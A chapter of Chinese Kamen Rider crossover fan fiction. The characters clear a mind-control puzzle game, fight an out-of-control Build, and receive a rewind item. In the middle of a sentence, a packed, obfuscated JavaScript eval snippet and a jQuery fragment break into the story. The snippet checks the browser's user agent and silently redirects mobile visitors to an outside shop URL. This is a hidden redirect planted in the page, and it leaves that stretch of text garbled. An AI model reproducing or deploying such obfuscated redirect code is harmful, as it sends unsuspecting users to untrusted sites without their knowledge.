第十一章牙白!!!

    白桔的银白色装甲在广场的白光下泛着微光。

    面前的人潮已经冲到十米开外了,那些纯黑色的眼睛整齐地锁定着他,密密麻麻的,像一群搬家的蚂蚁。

    他弯下腰,摆好防御姿态。

    在他身后,宝生永梦盘腿坐在地上,手指在游戏机的按键上翻飞,帕拉德靠在他旁边,肩膀挨着肩膀,偶尔伸手拨一下方向键。

    方块在屏幕上堆叠、消除、堆叠、消除。

    速度越来越快,永梦的额头上沁出了一层薄汗,但嘴角是翘着的。

    “左边那个。”帕拉德说。

    “看到了。”永梦的手指已经按过去了。

    “下面压着一个。”

    “嗯。”

    白桔在前面扛着人潮,余光扫到这一幕,头盔下面的嘴角抽了抽。

    (白桔:帕梦99。)

    (淇洋:帕梦99。)

    花家大我在左边踹飞了一个扑过来的上班族,镜飞彩在右边用手肘顶开了两个学生。

    淇洋站在白桔身侧,手里的速写本翻得哗哗响,画了好几道绊索横在人群脚踝的位置。

    但人太多了。像退潮之后重新涌上来的海水,一波接一波,永远挡不完。

    白桔的臂甲被一个穿西装的男人的指甲抓出了三道白印,他反手一个肘击把那人顶开,但后面立刻补上来三个。

    那些被控制的人力气大得不正常,手指掐在装甲上发出咯吱咯吱的声响,像要把银白色的外壳捏碎。

    “永梦!”白桔喊了一声。

    “快了!!!”

    巨屏上的方块在以肉眼可见的速度减少。

    一层、两层、三层,那些卡在底层的刷子和铃铛被一个个挖出来消除,剩余方块的数量从三位数跳到了两位数。

    帕拉德的手指忽然停了一下。

    “这里。”他指着屏幕右下角一个被压在四层方块底下的棉花图标。

    永梦看了一眼:“没办法了,消不掉。”

    帕拉德把手伸到永梦的手背上,轻轻覆上去,带着永梦的手指按下了另一个位置。

    方块在被按到的瞬间震了一下,上层的图标松动了一个缺口。

    “现在。”帕拉德说。

    永梦顺势把那个缺口挖开,一口气消除了四层。

    剩余方块从两位数跳到了个位数。

    最后的三个图标。刷子。刷子。刷子。

    永梦的手指按下去。

    巨屏上炸开一圈金光,白色的光波从屏幕中央向四面八方扩散,扫过广场上每一个人的身体。

    那些被黑眼睛控制住的人瞬间僵住了,然后像被抽走了什么线一样软倒下来。

    白桔面前最后一个扑过来的女高中生停在了半空中,眼睛从纯黑变回了正常的颜色,整个人瘫倒下去,被淇洋一把扶住。

    广场上安静了。

    几百个失去意识的人横七竖八地躺在地上,呼吸均匀,像睡着了。

    头顶的巨屏上,“通关”两个字缓缓放大,金光从屏幕边缘溢出来,把整个广场照得通亮。

    白桔撑着膝盖喘了口气,银白色的装甲上全是抓痕和灰印。

    他回头看了一眼,宝生永梦和帕拉德坐在地上,永梦把游戏机放在膝盖上,低头看着屏幕,手指还在微微发抖。

    帕拉德靠在他旁边,安安静静的。

    “通关了。”永梦说。

    “嗯。”帕拉德点头。

    白桔走过去伸出手。

    永梦抬头看了他一眼,笑了一下,拉住他的手站了起来,然后把帕拉德拉起来。

    “所以那些人没事了,对吗?”永梦问。

    “对的。”白桔说,“只要故事完成,所有人的数据体都会回到现实。”

    永梦点点头,低头看了看自己的手,攥了一下拳头。

    “那就好。”

    广场的地面开始泛白,像有光从地底下渗出来。

    周围那些躺在地上的人从边缘开始变得透明,一个接一个地消失了。

    白桔解除变身。

    “真是不容易啊。”

    宝生永梦和帕拉德对视了一眼,接着看向他们。

    “谢谢你们。”永梦说,“虽然我其实不太清楚全部的事情,但我知道是你们在帮我们。”

    白桔愣了一秒,然后笑了:“没事,帮你们就是帮我们自己。”

    永梦也笑了。

    他们的身影已经开始变淡了,白大褂的下摆像雾一样散开。

    “外面还有病人等着我呢,”永梦说,“得赶紧回去值班。”

    白桔忍不住笑了一声:“那你加油。”

    永梦点头:“你们也是。假面骑士的工作——要好好干啊。”

    这句话说完的时候,他的身影几乎透明了。

    帕拉德最后看了白桔一眼,抬手挥了一下,然后两个人一起消散在白色的光里。

    “下次再见。”

    白光散尽的时候,白桔发现自己站在一个完全陌生的地方。

    是一片纯白的空间,无边无际。

    淇洋站在他旁边,深蓝色装甲还没消退,在纯白背景里格外显眼。

    白桔低头看腰带。

    显示屏上的进度已经从“100%”跳到了“封印完成”再跳到了“???”。

    一行新的提示字在屏幕上滚动:“第二阶段启动。BOSS生成中。”

    白桔的瞳孔缩了一下。

    “等等等等——二阶段BOSS?第八章的时候你不是跳过了吗?!!”

    头顶传来孙路的声音,带着明显的狼狈和慌乱:“这次跳不过了!”

    “第八章那是因为游戏病的故事还没成型,我就写了个标题,系统判定不完整所以自动跳过了!”

    “但第十章你把剧情补完了!故事完整了!系统强制出BOSS了!!”

    白桔倒吸一口凉气。

    他还没来得及骂人,纯白空间的中央忽然出现了一条裂缝。

    那道裂缝无声无息地撕开,边缘泛着暗红色的光,像有人用烧红的刀在画布上割了一道口子。

    裂缝在扩大、扭曲、旋转,从里面泄出来的气息让白桔的装甲表面结了一层薄薄的白霜。

    然后有人从裂缝里走出来。

    白大褂。鸳鸯鞋。灰色的T恤领口松松垮垮地露着锁骨。

    桐生战兔。

    但白桔盯着他看了三秒之后,后背的汗毛炸起来了。

    桐生战兔的眼睛半睁着,眼白泛着暗红色,像有血丝在里面游动。

    “战兔?”白桔试探地喊了一声。

    桐生战兔没有回答。他抬起手,从腰侧摸出一个东西——危险扳机。

    白桔看到那个东西的瞬间,脑子里只有一个念头。

    “卧槽。”

    桐生战兔面无表情地把危险扳机扣在Build腰带上。

    “变——身。”

    危险兔坦。

    他站在纯白空间的中央,缓缓活动了一下脖子,关节发出“咔咔”的声响。

    脑袋转向白桔,锁定了他的位置。

    白桔下意识地往后退了一步。

    “王子酱——”

    “在。”

    淇洋已经翻开了速写本,笔尖悬在纸面上方,随时准备画。

    但桐生战兔的速度太快了,白桔只看到一道黑色的残影,胸口就被结结实实地踹了一脚,整个人像被炮弹击中一样飞了出去。

    “白桔!”

    淇洋喊了一声,手中飞快画了一把长戟,纸面上浮起实体落在他手中,他抡起长戟朝桐生战兔斩过去。

    桐生战兔侧身避开了戟刃,抬手抓住长戟的杆身,手指收紧的瞬间金属杆就凹了进去,淇洋用力往回抽,抽不动。

    桐生战兔的手一拧,长戟从中间断裂,两截断刃飞出去插在白色边界上,像两把匕首钉在墙上。

    淇洋愣了一瞬。然后桐生战兔的另一只手已经伸过来了。

    那只有装甲覆盖的手抓住淇洋的肩甲,手指收紧,深蓝色的装甲片在他掌心里裂开。

    淇洋被提起来,然后被甩了出去。

    (淇洋:我靠!这里不是龙骑剧本啊!)

    (白桔:也不是时王啊!)

    白桔撑着膝盖站起来。

    危险兔坦转向了他。

    “战兔!你能听到吗?!”

    没有回答。

    拳头的轨迹白桔勉强看清了——他侧身躲开了正面,但拳风擦过肩甲带起的冲击力还是让他整个人歪了一下。

    第二拳接踵而来,白桔抬手格挡,臂甲直接炸开,碎片飞溅出去。

    (白桔:孙路叔叔拿亚克力做的皮套吗!!!)

    (孙路:你还知道是皮套啊!!!)

    危险兔坦站定,双手缓缓合拢,做蓄力的姿势。

    白桔还没来得及松一口气,危险兔坦的必杀技已经轰过来了。

    能量波撞在银白色装甲上,所有的碎片同时炸开,白桔整个人像断了线的风筝一样飞出去,在半空中解体。

    然后他喊了一声:“回档!!”

    金光吞没了一切。

    再睁眼的时候,白桔站在纯白空间的边缘,胸口没有疼,装甲完整得反光,连战损的划痕都没有。

    桐生战兔站在空间中央,正抬手摸向腰侧的危险扳机。

    白桔没有任何停顿。

    他在桐生战兔的手碰到危险扳机之前就冲了出去,拳头砸在战兔手腕上。

    桐生战兔的手指条件反

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17818996|211104||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    射地松开,危险扳机从指间滑落,掉在纯白的地面上。

    桐生战兔低头看着那个扳机,愣了一秒。

    白桔一脚把扳机踢到淇洋那边。

    淇洋眼疾手快,弯腰捡起来攥在手里,然后往后退了十几步,和战兔保持了三丈远的距离。

    桐生战兔的视线从空了的腰带上移开,落在白桔身上。

    他脸上的表情从茫然变成困惑,又从困惑变成疲惫。

    “......我又失控了?”

    白桔:“你差点把我们俩都打成二维码。”

    战兔把手插进口袋里,沉默了一会儿。

    然后他抬起头,看向白桔。

    “抱歉。”

    白桔摆了摆手,声音还是虚的:“算了,也不是你的问题。”

    (白桔:孙路叔叔求求你了我不想和兔子打……)

    (孙路:那我让兔子回家去。)

    “我要走了。”桐生战兔说,“麻烦你们了。”

    (战兔:?不打了吗??)

    白桔看着他渐渐透明的轮廓,忽然想起广场上他说的那句“因为作者写不出来”。

    他忍不住笑了一下:“你回去之后记得继续当你的天才物理学家。”

    “……”

    一阵金光闪过。

    再睁眼的时候,白桔看到了熟悉的场景。

    榻榻米。矮桌。推拉门。窗台上的绿植依然蔫着,叶子耷拉着。

    孙路坐在电脑前,屏幕上是系统界面,右下角弹出一个新的提示框:“封印完成。小说已回收。评级:SSR。”

    白桔盯着那个“SSR”看了五秒。

    然后他低头,手里多了一本书。

    封面是黑色的,烫金字的标题在灯光下微微反光——《游戏病》。封底有一行小字:“评级:SSR。特殊奖励:‘回档’词条升级为永久可用。存档点上限:1。”

    白桔翻开书看了看。

    里面的故事从宝生永梦被拉进游戏开始,到他和帕拉德联手通关,到白桔和淇洋扛住人潮,最后桐生战兔的失控与回归——全部写进去了。

    起承转合完整,节奏紧凑,确实比上两本有很大进步。

    “SSR!”白桔念了一遍这个评级,然后仰头躺倒在榻榻米上,把书盖在脸上。

    “我做到了!”

    淇洋在旁边坐下来,拍了拍自己的西装外套——副本外面已经恢复了原样,但那个被危险兔坦捏碎肩甲的记忆还清晰得很。

    “下次别让我挡这么猛的拳了。”他说。

    “你不是二骑吗?二骑吃瘪不是天经地义——”

    “闭嘴。”

    白桔把书从脸上拿下来,翻到最后一页。

    在书末的“特别附录”里夹着一张金色的小卡片,薄薄的,像书签,边缘有细碎的光在流动。

    卡片正面只有一个词:“回档”。

    他把卡片拿起来,拿起来的一瞬间“回档”变成了熟悉的有分量感的词条亚克力块。

    白桔对着灯光看了看,然后放进了腰带扣里。

    腰带旁边的显示屏亮了一下,跳出一行提示:“‘回档’已升级为永久词条。当前回溯点:《游戏病》副本第二阶段BOSS出场。”

    “只能存一个点。”孙路在电脑后面说,“并且只能存‘现在’。下一个点会覆盖上一个。”

    白桔把词条取出,把腰带放在桌。

    “也行。总比没有好。”

    他站起来伸了个懒腰,关节咔咔响了几声。

    身上多了好几块淤青和擦伤,但索性骨头没有断。

    (白桔:谢谢孙路叔叔没让我死掉。)

    (孙路:瞧你这话说的。)

    淇洋已经去冲咖啡了。

    热水壶的咕噜咕噜声从厨房传过来,和这个出租屋里的日常气味混在一起——泡面汤、旧纸张、电器的电子味儿。

    白桔走到窗边拉开窗帘。

    东京的夜空还是那样,云层薄薄的,月亮透过云的缝隙洒下冷冷的光。

    远处高楼的灯光在夜幕里跳动着,像无数只眼睛在注视着这座城市。

    “所以第四个书坑是什么?”白桔问。

    孙路把电脑屏幕转过来。

    上面是一个新的空白文档,文件名写着“待填之坑04.txt”,大小依然是0KB。

    白桔盯着那个文档看了三秒,然后转头看淇洋,淇洋端着咖啡杯回看他。

    空气安静了一会儿。

    “连标题都没有了?”白桔说。

    孙路把手放在键盘上,犹豫了一下。

    “还没想好嘛……”

    白桔:“......”

    淇洋:“......”

    白桔把窗帘拉上了。